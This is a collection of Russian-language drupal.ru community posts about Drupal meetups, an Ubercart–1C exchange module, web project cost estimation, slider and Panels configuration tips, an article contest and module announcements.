Место проведения: г. Одесса, ул. Леха Качинского, 7 (бывшая Польская), офис компании Ciklum.

Форма регистрации на Drupal Café №3 в Одессе – https://docs.google.com/spreadsheet/viewform?formkey=dDJxVUptb0cxSjlCUE5…

Источник: http://www.drupal.ru/node/98189

Обмен данными между Ubercart 3 и 1С Управление торговли на примере модуля importer

Всем привет!

Преамбула: стал вопрос о связи инет магазина на ubercart с 1С. Сам реализовывать пока не брался, решил поискать готовые решения.

Нашёл и рассмотрел несколько:
1. Разработчик из Екатеринбурга, имя домена с упоминанием 1С и drupal. В результате общения, через fededback на сайте, выяснилось, что реальная, запрашиваемая стоимость в два раза больше заявленной на его сайте.
И в результате ещё некоторых моментов в общении с разработчиком было принято решения далее с ним не общаться.
2. Решение, найденное на сайте http://armrus.net/blog/sinkhronizatsiya-drupal-s-1s отображало только авторские идеи, не доведённые до публичного практического решения. Со слов автора решение рабочее. Идея понравилась, но испробовать его, к сожалению, не удалось.
3. Решение, давно замеченное на http://cmlservice.com, первый раз о нём прочёл в статье http://www.drupal.ru/node/62395.

Далее об этом решении.

Это связка модулей, позволяющих загружать из 1С в Ubercart в формате CommerceML2 данные о товарах: каталог, описание, фотографии, цены, остатки, характеристики и свойства. Так же позволяет выгружать в файлы order.xml данные о заказах и контрагентах с сайта.
Порадовало адекватное отношение разработчика – быстрый ответ, помощь в режиме скайп-видео и TeamViewer, наличие документации к модулю и обработке 1С: http://cmlservice.com/docs

Но! Первый камень был брошен со стороны 1С. На сайте http://v8.1c.ru/edi/edi_stnd/90/ опубликованы стандарты формата CommerceML2, принятые самой 1С. Но в последних версиях Управления торговлей, без объявления войны, были вероломно нарушены данные “стандарты”. Такая же реализация была выполнена в конфигурации Штрих-М: Торговое предприятия, с которой нам пришлось налаживать связь для ubercart. Фактически в 1С поменяли “характеристик товара”. Ранее они были в файле import.xml теперь же в offers.xml, хотя версия формата в файле осталась той же – 2.04.
Проект CMLService поддерживал Характеристики, находящиеся в import.xml. В результате обнаруженной нами проблемы было создано issue http://css.mirocow.com/issues/501 которое оперативно было исправлено и закрыто.
Так же в последнее время была добавлена поддержка Ubercart 3, загрузка свойства товаров в поля ноды. Разработчик раскрыл карты на счёт окончания работ над модулем для Commerce – он будет окончен в ближайшее время.

Краткая инструкция по настройке модуля:

Включаем модули: Importer, Import content from CML, Import Offers from CML, Export orders from Ubercart (CommerceML2)

Добавляем атрибуты товара, опции можно не устанавливать, они загружаются из 1С: /admin/store/products/attributes

Идём в настройки модуля Importer: /admin/importer/settings

Настраиваем каталог (в каталоге sites/all/modules/importer/data уже расположен пример, выгруженный из 1С УТ. Права доступа на каталог должны быть 700 (иначе не будут записываться order.xml), поэтому желательно его вынести в корень, или скрыть где-то в недрах files.

Добавляем товару поля типа “Термин таксономии”.
Настраиваем привязки свойств к полям (если нужно), копируя <Ид> свойств из файла import.xml:

Настраиваем привязки характеристик к атрибутам, копируя из файла offers.xml значения ключа <Наименование> из <ХарактеристикаТовара>:

Копируем из файла offers.cml значение ключа <Ид> из необходимого ключа <ТипЦены>:

Запуск импорта по адресу: /admin/importer

Сначала загружаем товары, зачем предложения по товарам (цены, остатки).

Идём в /admin/content, смотрим загруженные товары.

Всё.

Файлы заказов order_<номер>.xml создаются в этом же каталоге после осуществления заказа на сайте. Данный файл можно загрузить в 1С, используя обработку с сайта автора.

В тему приглашается сам разработчик, для ответа на вопросы

Вложение Размер importer1.jpg 24.88 КБ importer2.jpg 35.44 КБ importer3.jpg 30.12 КБ importer4.jpg 17.51 КБ

Источник: http://www.drupal.ru/node/97971

DrupalCafé – чт, 21/03/2013 – 19:00, Россия, Москва

Второе DrupalCafé в Москве, узнаем подробности про Drupal 8 и про микроформаты, подписываемся, отмечаемся

http://drupalcafe.ru/ru/event/s-2013-03-21-150000-po-2013-03-21-170000

P.S.: В прошлый раз столкнулись с таким и на всякий случай обозначу явно – чтобы избежать платы за пользование услугами антикафе, при входе говорите, что вы на мероприятие и по договору с ЗАО “Госбук”.

Источник: http://www.drupal.ru/node/97756

Почему мой сайт так много стоит?

Итак представляю на суд сообщества небольшую (порезанную) статейку. на остальные вопросы постараюсь ответить в комментариях.
Призванную немного пролить свет в общении между заказчикамии разработчиками, почему многие спрашивают у заказчика какой бюджет? Почему заказчики ждут оценок по деньгам и срокам?

Цены буду указывать очень средние по рынку, поэтому прошу сильно не пинать читателям данной статьи главное понять механику их образования.

Для начала примем ряд аксиом, это необходимо нам для полной картины.
1. “Цели – Задачи” – ставит заказчик основываясь на том или ином опыте.
2. “Время – деньги” определяем мы – исполнители, это наши временные затраты определяющие конечную стоимость выпускаемого нами продукта. Для упрощения расчетов будем считать что все расходы (а оно почти всегда так и есть) включены в конечную стоимость часа работы программиста.
3. “Законченность проекта” – определяется заказчиком на основании удовлетворенности клиента. Т.е. проект можно считать законченным в том случае, когда заказчик удовлетворен тем что у него есть в настоящий момент времени (согласно технического задания).

Итак исходя из вышеуказанного графика мы видим, что любой проект может быть бесконечным и его завершенность определяется лишь согласно аксиоме 3.

Т1-Ф1 или “а что тут делать”

Сначала официально. Т1-Ф1 это базовый функционал друпала + простая темизация либо настройка базовой или бесплатной темы стоимость такого продукта в принципе равна времени затраченного на разворачивание сайта из коробки и настройку темы.
Подробно:
- БТД (базовая тема друпала) + СФ(стандартный функционал из коробки): условно бесплатно
Цена: “дешево до безобразия” обычно от “бесплатно” и до “кто за сколько продаст”.

К примеру студия берет за 1 час работы программиста 20$, значит, если идти по накатанной схеме установки и базовой настройке друпала (разворачивание сборки, или просто движок + модули) примерно 1 час, то можно выдвигать слоган 20$ за сайт и вперед (в дальнейшем все денежные эквиваленты будут браться из расчета 20$ час), но ….
Вы должны как исполнитель сразу объявить заказчику что он получает в конечном итоге за эти деньги и время, в противном случае мы станем свидетелями следующей ситуации:

“а что тут делать” – Многие очень часто сталкиваются с такой формулировкой и на самом деле это действительно так, если заказчика вполне устраивает бюджетное решение основанное на стандартном функционале. Однако, чаще всего это совсем не так. Просто визуальные ожидания заказчика и понимание задачи разработчиком в большинстве случаев изначально находятся в разных плоскостях и существует задача свести их в одну плоскость, а еще лучше совместить для получения итогового качественного продукта .

В качестве примера.
Многие из нас очень часто встречались с задачей “регистрация пользователей на сайте” – казалось бы куда проще = стандартный функционал друпала, что тут обсуждать или пережевывать, но смотрите как одна фраза в ТЗ или просто банальная хотелка – “как там” превращает вполне тривиальную задачу в “головняк” для разработчика:
“По нажатию на клавишу “восстановить пароль” пользователю должно приходить письмо в котором указан его текущий логин в системе и пароль указанный при регистрации, никаких одноразовых ссылок”.
Получается что вполне стандартное с точки зрения заказчика требование (пусть оно и противоречит требованиям безопасности о хранении паролей в явном виде, сейчас мы не об этом) перерастает для нас в дополнительную работу. Написать модуль, который будет перехватывать задаваемый пользователем или генерируемый системой при регистрации пароль, записывать его в отдельную таблицу БД из которой мы по запросу сможем отправлять нашим пользователям забытые пароли.

Вывод: мелочь из примера увеличивает стоимость разработки минимум на 2-3 часа и либо вы это делаете бесплатно угоду клиенту т.е. из 20$ в 80$ и дарите клиенту 60$, либо пытаетесь объяснить что стандартно это не было предусмотрено движком (клиента чаще всего не интересует, что там предусмотрел Дрис и его коллеги а что нет).
В конечном итоге в 90% случаев клиент с недовольной миной отзывается о вас “вот пообещал все сделать за час а в итоге ничего не сделал, функционал не готов, сайт не работает”.

Таких мелочей и нюансов может быть великое множество. Особенно явно это видно на проектах без технического задания, “грамотный” заказчик оперируя фразой “а что тут делать” заставляет разработчика постоянно тратить время на всякого рода мелочи которые соответственно увеличивают конечную стоимость продукта, но эти средства к вам как исполнителю уже не вернутся, вас будут выжимать как лимон

Поэтому для сайтов выходящих на первый этап Т1-Ф1 используются типовые решения с фиксированным ТЗ и зачастую фиксированной стоимостью. Заказчик должен явно понимать что за свои кровные N долларов он получит вот такое чудо света и никак ни больше и ни меньше. Так же заказчик должен изначально знать и быть готовым к тому что любые его “хочу” сверх ТЗ должны просчитываться и оплачиваться отдельно и они переводят продукт в следующую итерацию.

Т2-Ф2 или “а что тут делать – 2”
Сначала официально. Т2-Ф2 это + дизайн с последующим созданием темы + небольшие отдельные хотелки и финтифлюшки реализуемые на этапе темизации, либо написанием мелких кастомных модулей.

Подробно:
- дизайн (400$ 20часов) может быть заменен дизайном заказчика, тогда бесплатно;
- создание темы (до 40 часов 800$, возьмем половину)
- стоимость отдельного функционала (хотелки) в зависимости от задач и почасового рейта компании.
Итого: итого в среднем по стране без хотелок мы из 1 часа превращаемся в 1 недельную работу (40 часов) и стоимостью в среднем в 800$ без учета хотелок.

В качестве примера.
“а что тут делать -2” – во избежании очередных недопониманий о том “что тут делать”
Банальное слайдшоу из 2-100 картинок на главной странице между меню и основным контентом такое “каждый школьнег умеет делать”, но посмотрим на ожидания заказчика:
- он в 100% подразумевает, что картинки можно было удалять и добавлять из админки.
- он в 95% подразумевает, что можно добавить текст если захочешь и он выведется не ломая верстку
- он в 90% подразумевает, что можно из админки регулировать скорость смены слайдов стили смены слайдов или включать – отключать автоматическую прокрутку
- он в 85% подразумевает, что всем этим умеет управлять блондинка-секретарша а не программист.
Список хотелок в слайдшоу можно попытаться продолжать и дальше, но я не буду этого делать.

Итак 4 хочу, которые заказчик ожидает увидеть но нигде об этом явно не говорится превращают 30-40 минутную задачу в работу на целый день. Ведь если мы банально зальем картинки по фтп или в какой-то статик пейдж и на шаблоне добавим свои js и css результат внешне не будет отличаться от сложного функционала реализованного за 8 часов, но если человек захочет что-то поменять в слайдшоу и не сможет то в 99% задача будет считаться не выполненной, функционал с точки зрения заказчика не сделан.

Т3-Ф3 или “ну а тут то что сложного”
Сначала официально. Т3-Ф3 это два предыдущих этапа + реализация не видимого простому глазу функционала требующего написания одного или нескольких модулей реализующих достаточно сложный функционал к примеру расчет стоимости доставки в зависимости от веса, габаритов товара, региона, способа доставки, учета общей стоимости заказа и т.д. начисления процентов менеджеру через которого сделан заказ или по чьей ссылке человек пришел на сайт в общем любую сложную задачу которую вы можете себе представить

Здесь не будет подразделов “подробно”, “цена” и т.д. поскольку в таких частных случаях конечная стоимость формируется только по оценочной стоимости задач специфичных только для этого проекта. Если кастомный функционал оценен разработчиками в 100 часов то и стоимость проекта будет к примеру 2820$ если присутствуют все этапы, может быть вариант и без дизайна и мелких “свистелок”, тогда стоимость составит 2020$

Почему разработка кастомного функционала при казалось бы простой задаче занимает достаточно большое количество времени?
Попробую ответить на этот вопрос на простом примере для интернет магазина.
Мелочь – помечать товары ленточкой “новинка” или “хит продаж” по умолчанию в уберкатре или коммерце из коробки такой функционал не предусмотрен, какие действия должны предпринять мы и что увидит и не увидит конечный заказчик (по умолчанию каталог сделан с помощью вьюсов (если нет, то мне еще страшнее))

Увидит:
- галочку на форме редактирования товара;
- результат вашей работы при включении свойства товара.

Не увидит:
- таблицу в БД которая появится при создании поля типа select (checkbox);
- изменение вьюхи (добавить поле нового товара), вьюх или дисплеев отображения может быть несколько
- перекрытие шаблона вьюхи (добавить дивку с классом для row);
- вырезать или сохранить картинку из PSD (хуже если нарисовать)
- поправить css файлик темы чтоб выводилась картинка;
- проверить корректность отображения в поддерживаемых браузерах.

К чему я это расписываю, а к тому что для заказчика это такая мелкая прибавка к функциональности сайта, просто ленточку на картинку повесить (как гвоздь забить), и ему важен только результат т.е. наличие ленточки (забитый гвоздь). А для нас это труд состоящий из нескольких этапов (взять молоток, совершить несколько ударов по шляпке, не погнуть и не сломать гвоздь, проверить не пробил ли он доску насквозь и не зацепил ли что-то с другой стороны)

Итак задача в ТЗ повесить ленточку (примерная оценка):
- добавить филд – 10 минут;
- добавить филд на вьюху – 10 минут на каждую если их больше одной или больше одного дисплея;
- перекрытие шаблона вьюхи – в зависимости от архитектуры – от 15 минут;
- картинка – от 10 мин;
- сss – 10 мин;
- тест – 15 мин;
ИТОГО: в идеальных условиях 1час 10мин т.е. ~23$ за какую-то ленточку
А если что-то не так сделал (все люди) и надо исправить проблему?

Эпилог
Какие-же выводы можно сделать из всего этого набора букв и одной картинки
1. Внешняя картинка (морда) в 90% случаях не отражает весь функционал сайта.
2. Одна и та же задача в глазами заказчика и разработчика совершенно разные картины и чем точнее ее решит разработчик, тем довольнее будет заказчик и будет им обоим много счастья.
3. Совершенный (идеальный) проект сделать можно только в теории, на практике нет, потому и график – асимптота т.к. этот идеал возможно где-то есть в перспективе, время и прогресс важные факторы.
4. Техническое задание – неотъемлемая часть любого проекта включая сайт-визитку. Чем точнее задание будет описывать функционал будущего сайта, тем меньше головных болей будет у вас и меньше будет недовольных конечным результатом заказчиков. И самое главное тем точнее предварительная оценочная стоимость будущего проекта.

P.S.
Так сколько же должен стоить сайт на самом деле? Ответ на этот вопрос мы можем дать только в конце создания продукта, так же как и нет ответа на вопрос “сколько стоит дом нарисованный на схеме”?
Мы можем говорить о конечной стоимости только по завершению какого либо этапа работ.
Спасибо

Вложение Размер graph1.png 39.73 КБ

Источник: http://www.drupal.ru/node/96842

Подкаст о работе с контентом, ваши вопросы

В ближайшие дни запишем для podcasts.drupal.ru подкаст про работу с контентом. Вместе с  Романом Архаровым и  Андреем Березовским. У них есть и огромный опыт по работе с контент-ориентированными сайтами, также они авторы модулей на drupal.org, которые помогают в работе с содержимым. Про это и поговорим)

Возможно у вас есть вопросы о следующих темах, пишите ваши вопросы в комментах к этой теме, будем делать подкаст информативней)

Будем обсуждать:
1. Работу с контентом, какие есть подходы в зависимости от задач и типов сайтов
2. Вечную проблему “грязного кода” при копипасте
3. Контроль грамотности со стороны пользователей
4. Чего вообще ждать в будущем и какие есть полезные рекомендации.

Помимо общих решений (wysiwyg + bueditor/ckeditor/nice edit и др., media, imce, и др.), будут упомянуты следующие модули:

http://drupal.org/project/pasteformat
http://drupal.org/project/typo
http://drupal.org/project/imageeditor

Рады любым вопросам)

Источник: http://www.drupal.ru/node/95975

Drupal Café’2013 в Москве. 6 февраля.

Планируется очередное DrupalCafé 6 февраля в Москве.
Место проведения – антикафе Бабочки, рядом с м. Марксистская (Таганская)
В этот раз Вас ждут интересные обсуждения на темы:

Что нас ждет в Drupal 8?. рассказывает и показывает Андрей Постников, активист сообщества Drupal. Напоминаю, что 1 февраля разработчиками Drupal 8 будет проводится подведение итогов по нововведениям в движке. Эта тема очень обширная, Андрей будет рассказывать в этот раз о наиболее заметных изменениях, а в следующих DrupalCafé будет постепенно раскрывать все больше и больше подробностей. Не пропустите, будет интересно! От руководителя проекта Госбук, Юрия Родионова, будет представлен обзор перспектив развития Drupal в России. Каким образом компании-разработчики, используя Drupal, могут помочь его развития, какие для это есть способы, как лучше это делать? Какие плюсы от сотрудничества с сообществом получит компания? На многие подобные вопросы можно будет получить ответ, пообщавшись на этом DrupalCafé.

Источник: http://www.drupal.ru/node/95966

О, драма

Небывалая драма постепенно разгорается по поводу обратной совместимости.
Многие люди (наконец-то!) понимают экономическую абсурдность перестраивания сайта под каждую новую версию Друпала.

Камень в огород Geldora

Я согласен с тем, что для 2013 года это будет одной из основных тем в сообществе.

Ссылки по теме
Первые симптомы http://drupal.org/node/1881074
Я требую продолжения банкета http://www.larks.la/articles/drupal-6-end-of-life-when-drupal-8-is-relea…

Источник: http://www.drupal.ru/node/94834

Модуль Украинские курсы валют Drupal 7


Написал простой модуль курсов валют для Drupal 7. Может кому-то окажется полезным.
Работает просто:

по крону смотрим в xml файл на http://bank-ua.com парсим нужные нам курсы (в моем модуле это USD, EUR, RUB) полученные курсы заносим в БД выводим на сайте как блок

Приятные фишки:

через .tpl доступна темизация. все курсы заносим 1-запросом к БД получаем так же.

Неприятные фишки:

блок с курсами валют не кешируется в админке нельзя выбрать тип валюты для показа.

Пример работы модуля: http://www.bestnews.in.ua/ (данные берутся с другого источника палить не могу.)

Установка:

залили на сайт включили вывели в блоках в нужном регионе запустили крон.

Чуть не забыл: курсы валют по отношению к .грн Украина.

любые дельные советы по улучшению кода, приветствуются.

Вложение Размер ua_courses_7.x.3.0.zip 23.88 КБ

Источник: http://www.drupal.ru/node/94015

Собираю вопросы по Drupal

Приветствую всех посетителей и вопрошающих.
Кто еще не знает – я организовываю в Москве регулярные посиделки в стиле DrupalCafé – небольшие встречи друпалеров, где можно за чашкой чая, кофе с печеньками обсудить разные новости, послушать что-то интересное по Drupal.
В этом году последнее мероприятие было 29 ноября, следующее уже будет в январе 2013 года. В этот раз я хочу попробовать кое-что новое – небольшой пакет-доклад с ответами на вопросы пользователей.
В связи с этим я собираю вопросы – вопрос должен быть небольшой, требующий минут 10-15 на ответ. Ответ будет оформлять визуально.
Например, что-то вроде такого:
“Как создать представление для новостей на сайте?” – в ответ будет небольшой скринкаст, где описано как установить нужные модули, как добавить тип материалы и вывести список при помощи Views. Этот скринкаст я покажу вживую сам или попрошу коллег, на одном из DrupalCafé и смогу ответить на уточняющие вопросы, обсудить решение.

Кстати, как Вы сами считаете, будет ли такой формат интересен посетителям?
Возможно где-то уже есть такие вопросы, которые интересны Вам, но не решены. Напишите мне в комментариях тут или оформите тему для обсуждения на сайте DrupalCafé Russia

Источник: http://www.drupal.ru/node/93541

Награждение победителей конкурса статей от проекта SoftInterGroup и студии Aquanther

Награждение

Баранок Артур Витальевич (ник: musical_art), статья по Adaptive Templates (Создание собственной темы с использованием AdaptiveTheme – http://la.by/blog/sozdanie-sobstvennoy-temy-s-ispolzovaniem-adaptivetheme, Создание собственной подтемы с использованием Tundra. Сравнение Adaptive Theme и Tundra – http://la.by/blog/sozdanie-sobstvennoy-podtemy-s-ispolzovaniem-tundra-sr…, Полезные инструменты для веб-дизайнера при создании тем в Drupal 7 – http://la.by/blog/poleznye-instrumenty-dlya-veb-dizaynera-pri-sozdanii-t…). Получает 150$ на долларовый кошелёк вебмани.

Игорь Челединов (ник: chilic), статья по поиску (http://www.aquanther.ru/wettbewerb/search_api.doc). Получает 150$ на долларовый кошелёк вебмани. При этом автор обещал дописать продолжение про настройку Solr и SearchAPI которую ждём от него в рамках конкурса.

Семен (ник: semasping), получает приз за участие в 1500 рублей, статья Самописный импорт (http://www.drupal.ru/node/92339, часть темы которую нужно было раскрыть) на рублёвый кошелёк вебмани.

Поздравительное слово от коллектива Softintergroup

Пришло время подвести предварительные итоги нашего конкурса.
Выражаем благодарность всем тем, кто так или иначе принял участие.
Отдельная благодарность студии Aquanther в лице Касихина Вячеслава за партнерство в проведении конкурса.
Итак, победителей у нас двое: Баранок Артур Витальевич и Игорь Челединов. Победители получают по 150 $.
Так же, в качестве утешительного приза, вручается 50 $ semasping Семёну.
В будущем подобные конкурсы будут проводиться регулярно при поддержке нашего сообщества.

С уважением,
коллектив Softintergroup.

Поздравительное слово от Касихина Вячеслава и коллектива Aquanther

Идея конкурса возникла неожиданно, одни мои коллеги предложили хорошие темы (ребята из Aquanther), а другие (коллектив Softintergroup) выделил призы. Так же это мероприятие было освещено в одном из выпусков Drupal-подкастов.
Статьи получились хорошие, до финиша дошли не все участники и по крайней мере ещё 1,5 статья находится на этапе написания – это хороший повод продолжить традицию конкурсов статей на полезные темы.
Спасибо всем кто принимал участие.

С этого места и далее: условия проходившего конкурса

Уважаемые Коллеги – Профессиональные Разработчики и Друпалисты!

Рады представить вам Конкурс, который планируется проводить на постоянной основе, дающий возможность получить гарантированные денежные Гранты в размере 150 USD за выполнение определенных заданий.

«Drupal 7» предоставил множество возможностей, однако без определенного опыта разработки, понять суть данных возможностей и научиться их использовать довольно сложно. Нам хотелось бы, чтобы данным опытом, профессиональные разработчики поделились с начинающими разработчиками Drupal. Однако не исключено, что даже опытные бойцы найдут что-то новое для себя.

Как будет проводиться конкурс

Желающий (или группа желающих, если тема пишется в соавторстве) заявляет о себе в качестве автора одной из тем. Создаёт новый топик на форуме, указав в данном сообщении ссылку на него, и начинает прорабатывать каждый раздел из темы. В течении двух дней должен быть готов и выложен в соответствующий топик, один из разделов темы с описанием и соответствующими скриншотами. В случае, если автор не может в течении 4 дней продолжить написание темы, любой другой может вступить в соревнование, как автор продолжения ранее заданной тематики, и в течении 2-х дней прислать ее следующий раздел. В случае возникновения технических затруднений (примеры кода и т.п.), всегда можно обратиться к пользователю с ником Irbis, который осуществляет проектную поддержку конкурса. По завершении написания каждого раздела темы, от пользователя Irbis будут приходить рекомендации по улучшению материала. По завершении конкурса, Авторы получат вознаграждение, которое будет разделено между авторами, участвовавшими в написании статьи.

Как писать статьи

Пишите так, как будто Вы пишите для вашей Мамы, Бабушки, близкого человека; Не стоит напрямую обращаться к пользователю: “возьмите, установите”, лучше используйте: “возьмём, установим”. Так, как будто Вы вместе проходите по всем этапам установки и настройки; Подробное описание – это хорошо, но оно всегда должно быть снабжено скриншотом.

Список тем:

1. Panels
– Общее описание Panels, Mini panels, Panels everywhere, Page manager и почему их использование предпочтительнее блоков;
– Сборка сложной страницы интернет магазина с применением Panels everywhere + Mini panels;
– Сложный вывод полей контента с помошью Panels, Custom content panes и Views внутри Panels everywhere;
– Сложный вывод полей контента с помошью Fieldgroup + DS как альтернатива Panels, внутри Panels everywhere;
– Создание своего плагина для вывода данных в Panels.

2. SearchAPI
– Общее описание Search API, Search facets, Search views, Search pages, Facet API, Database search;
– Настройка Search API + SOLR / Sphinx / Database search и настройка фасетов;
– Настройка Search views + Search pages и подключение альтернативных плагинов – Search ranges и т.п.;
– Альтернативная схема: Custom Search + DS Search + Views для поиска, блоки фасетов для каталога;
– Написание своего плагина фасета.

3. Migrate, Feeds и свой вариант импорта и обновления данных.
– Самописный импорт (получение данных из *.CSV, БД или XML; проверка данных; выборка данных дял импорта; создание очереди для импорта; импорт или обновление: нод, фото, терминов, файлов, товаров; обновление поискового индекса);
– Migrate: те же пункты импорта, доп. обработка импортируемых полей при импорте, доп. обработка данных после добавления, обновление данных;
– Feeds: те же пункты, что и в разделах выше;
– Импорт по Cron или из Drush;
– Оптимизация импорта: общие рекомендации по настройке сервера.

4. Adaptive Templates
– Tundra vs AdaptiveTheme, когда какой вариант выгоднее;
– Tundra, создание подтемы и настройка её;
– AdaptiveTheme, создание подтемы и настройка её;
– AT Panels Everywhere, когда нужно, что бы Panels Everywhere была адаптивной: описание настроек;
– Набор рекомендуемых плагинов и расширений для браузера, а также методов кастомизации или разработки темы для новичков.

5. Разработчикам сервисов посвящается
– Flag и Rules, примеры из жизни при создании сервисов;
– Entity Reference и Entity Reference View Widget, примеры из жизни при создании сервисов;
– Chaos Tools Modal Dialog и Chaos Tools multi step forms, примеры из жизни при создании сервисов.
– Views, то что не могло прийти Вам в голову, но то, что умеет Views и его плагины, примеры из жизни при создании сервисов;
– Список полезных модулей для администратора и пользователя большого портала, примеры из жизни.

Успейте вписать своё имя в историю «Drupal» и запомниться тысячам людей благодаря Вашей статье. Скоро Новый Год – это отличный повод порадовать сообщество хорошей инструкцией и ещё раз заявить о себе, как об опытном специалисте.

Сопровождение конкурса

Информационная и финансовая поддержка в размере 150 USD на грант за написание статьи предоставлена Проектом SoftInterGroup (http://softintergroup.ru/); Менеджерская поддержка по написанию статей осуществляет пользователь с ником Irbis, при поддержке студии Aquanther (http://www.aquanther.ru/).

P.S.: Если есть желание, но нет опыта, то обращайтесь – пришлю о чём писать, где копать и что переводить (вводный мини-тренинг, который Вы должны развить в большой материал).

Источник: http://www.drupal.ru/node/91933

Великолепный слайдер Nivo Slider для друпала 7.x


Ранее я писал как сделать слайдер Великолепный слайдер Nivo Slider для друпала 6.x. Сегодня речь пойдет о слайдере Nivo-Slider для Друпал 7.

Совсем недавно опубликовал обзор и инструкцию по установке/настройке слайдера Field Slideshow: Простой слайдер картинок материала для друпал 7.хх, но из-за его ограниченного применения возникла необходимость установки и настройки старого и доброго Nivo Slider, но уже на 7ке.

Основное отличие Nivo-Slider от других слайдеров в том, что с помощью него можно создать слайдер с слайдами различных нод. По умолчанию создается слайдер с тизерами последних материалов.
Аналогичное преимущество у слайдера Views Slideshow, обзор по нему подготовил Гавриил Заславский

Установка и настройка

1. Устанавливаем модуль  Views Nivo Slider

Обязательные для работы модули  Libraries,  Views,  Chaos tools;
(советую ставить стабильную Recommended releases версию для нормальной работы)
Скачиваем Nivo Slider jquery plugin версии 2.7.x или 3.x, распаковываем в папку sites/all/libraries/nivo-slider

2. Создаем новое представление Views

Задаем формат вывода “Views Nivo Slider”

Указываем количество материалов для вывода

Также можно указать тип материала для вывода, ограничить вывод по тегам и т.д. – все это на ваше усмотрение легко делается стандартными средствами Views

Добавляем вывод поля картинки Формат -> Показать -> Настройки (Настройки стиля “Строка”)

Важный момент – чтобы размер картинок слайдера корректно отображался нужно указывать одинаковые стили вывода изображения в Поле картинка и в настройках формата Views Nivo Slider – Image field style

3. Выводим views в блок.

В итоге у меня получилась вот такая картина

Вложение Размер dr6.jpg 32.2 КБ dr5.jpg 103.38 КБ dr1.jpg 42.95 КБ

Источник: http://www.drupal.ru/node/91340

[Коллективное спонсирование] Кому нужен модуль SMS рассылок?

** Данный топик изучает спрос на модуль **

В данный момент приступил к разработке модуля для интеграции СМС шлюза smsc.ru
Мне понадобилась фича отправки оповещения при:

– регистрации пользователя в магазине (Друпал коммерц)
– после оформления заказа. СМСка с деталями заказа
– после смены статуса заказа
– по желанию администратора, своё сообщение

Я проверил несколько СМС провайдеров и остановился на smsc.ru, так как у них:
– Обильный опыт работы (с 2003)
– Хорошие цены (для Украины даже несколько ниже, чем у наших локальных провайдеров)
– Быстрые сервера
– Внятное, обильное и простое АПИ, которое заводится с полпинка
– Адекватный саппорт

*smsc.ru не платит мне денег за пиар

Короче в ходе всего я решил, что это может быть более универсальным решением, нежели то, что мне реально надо.

Это будет аддон к SMS Framework

Кто хочет проспонсировать разработку данного модуля?

Ориентировочная сумма разработки весьма скромна – 200$ в базовой версии + за хотелки

После достижения указанной суммы модуль будет равномерно поделен между участниками и/или выложен на д.орг. А если нет, то нет

UPD: прикрепил опрос

Attached poll “Вы бы хотели проспонсировать разработку данного модуля?”.
Register or login to poll
Results:
Да: 14 голосов
Нет: 6 голосов
Поддержал бы морально: 34 голоса

Источник: http://www.drupal.ru/node/90314

Скрытые фичи Panels: использование хитрого view display под названием “view context”

Сегодня в очередной раз был приятно удивлен возможностями Panels и View context в Drupal. Оказалось, однако, что на Drupal 7 эти возможности никто почти не использует, видимо потому, что про них просто мало кто знает (ну а конкретно ту штуку, которая нужна была мне – вообще никто не юзал с момента релиза D7, так как там в прицнипе был нерабочий код).
Старясь исправить ситуация хотя бы чуть-чуть, решил написать об этом тут.

Во Views есть такой вариант Display под названием “Context”. Никогда раньше им не пользовался, но оказалось он делает офигенно полезные вещи.

Допустим стоит задача разместить на панели что-то, что как-то и достаточно хитро связано с уже имеющимися на панели контекстами, но с помощью Views в принципе вытаскивается. Можно конечно создать view типа content pane, параметаризовать её контекстом, и разместить на панели. Но хорошо, когда контекст уже есть, а что если нет? Что если стандартных, достаточно тривиальных контекстов, как то Node from Node (по поляем), Taxonomy from Node (по полям) (из ctools relashionships) не достаточно? Тут два варианта:

1) притягиваемые views panes параметаризовать имеющимся контекстом и строить сложный view, пока “не доберешься” до нужных данных (через views relashioships)
2) как-то добавить новые контексты которыми параметаризовать views panes, которые становятся теперь простыми, поскольку им сразу даются нужные параметры.

И вот, как раз второе можно сделать с помощью дисплея views context.

1. Сначала вы создаете display типа context, который вам вытаскивает нужные объекты (которые позже станут контекстами на панели)
2. Теперь в панелях в разеле контексты > relashionships добавляете эту появившуюся вьюху и она сама становится контекстом, но плюс
3. расширяет список relashionships, через который теперь можно притянуть то, что тащит уже сама вьюха. И вот это то – тоже становится контекстом!

Я не проврял пока ничего кроме притаскивания таким образом taxonomy terms (которые сперва не заработали – см. ссылку вверху – там блин был stuff из D6 ), но полагаю работать должно как минимум для нодов.

Теперь, у вас есть возможность

1) Также просто размещать на панели куски притянутого контекста, поля – да всё что угодно.
2) Использовать притянутые контексты для параметаризации других вьюх

А также, будучит притянутой таким вот образом (через view context), вьюха становится доступной для операции Вы можете вывести любую часть вьюхи где угодно в панели, на любой pane. Скажем, можно header вывести в панели слева, footer – сверху, результаты – в середине, а листалку – еще где-нибудь. Можно также разбить притянутую по номерам строк, выводя, скажем нечетные строки – слева, а четные – справа. Или вывести рекламу между 3 и 4-ой строкой. Еще можно вывести только отдельные поля из результатов.

В общем, спасибо Мерлину, он сегодня просвятил. Я пообещал ему поделиться с кем-нибудь. Делюсь.

p.s. Сорри что сумбурно, но просто нет времени.

best
OnkelTem

Источник: http://www.drupal.ru/node/90144

Новая книга Профессиональная разработка сайтов на Drupal 7

В скором времени выходит новая книга на русском о Друпале – Профессиональная разработка сайтов на Drupal 7 (The Definitive Guide to Drupal 7).

Эта книга представляет собой наиболе полное руководство по CMS Drupal 7, подготовленное силами сообщества Drupal. Она охватывает все возможности этой системы, рассказывает о новых функциях, появившихся в 7-й версии и будет полезна как начинающим разработчикам, так и опытным специалистам по Drupal. Вы узнаете, как быстро создавать сайты с помощью настройки бесплатных расширений (модулей) системы, каким образом осуществляется планирование и поддержка проектов на Drupal, как разрабатывать собственные дизайн-темы для данной CMS, а также о том, как писать новые модули, расширяющие функциональные возможности Drupal.
Отличительной особенностью данного издания является то, что оно подготовлено коллективом экспертов, входящих в сообщество Drupal, являющимся неотъемлемой частью этой системы, во многом и обеспечившим ее развитие и рост популярности.

Тут http://www.ozon.ru/context/detail/id/19125291/ можно посмотреть оглавление и отрывок из книги.

Популяризация Друпала продолжается

Вложение Размер professionalnaia_razrabotka_saitov_na_drupal_7.jpg 279.5 КБ

Источник: http://www.drupal.ru/node/90068

Drupalogy.ru

Всем привет!

Сайт проекта «Drupalogy — Выставка сайтов, сделанных на Drupal», обновлен!
Сайт перенесён на семёрку, изменена тема сайта, вырезаны все ненужные функции.

Спасибо тем, кто прислал свои пожелания по улучшению проекта.

На сайт добавлены формы мне нравится от Facebook «Мне нравится», поддержите проект нажатием на кнопку «like»

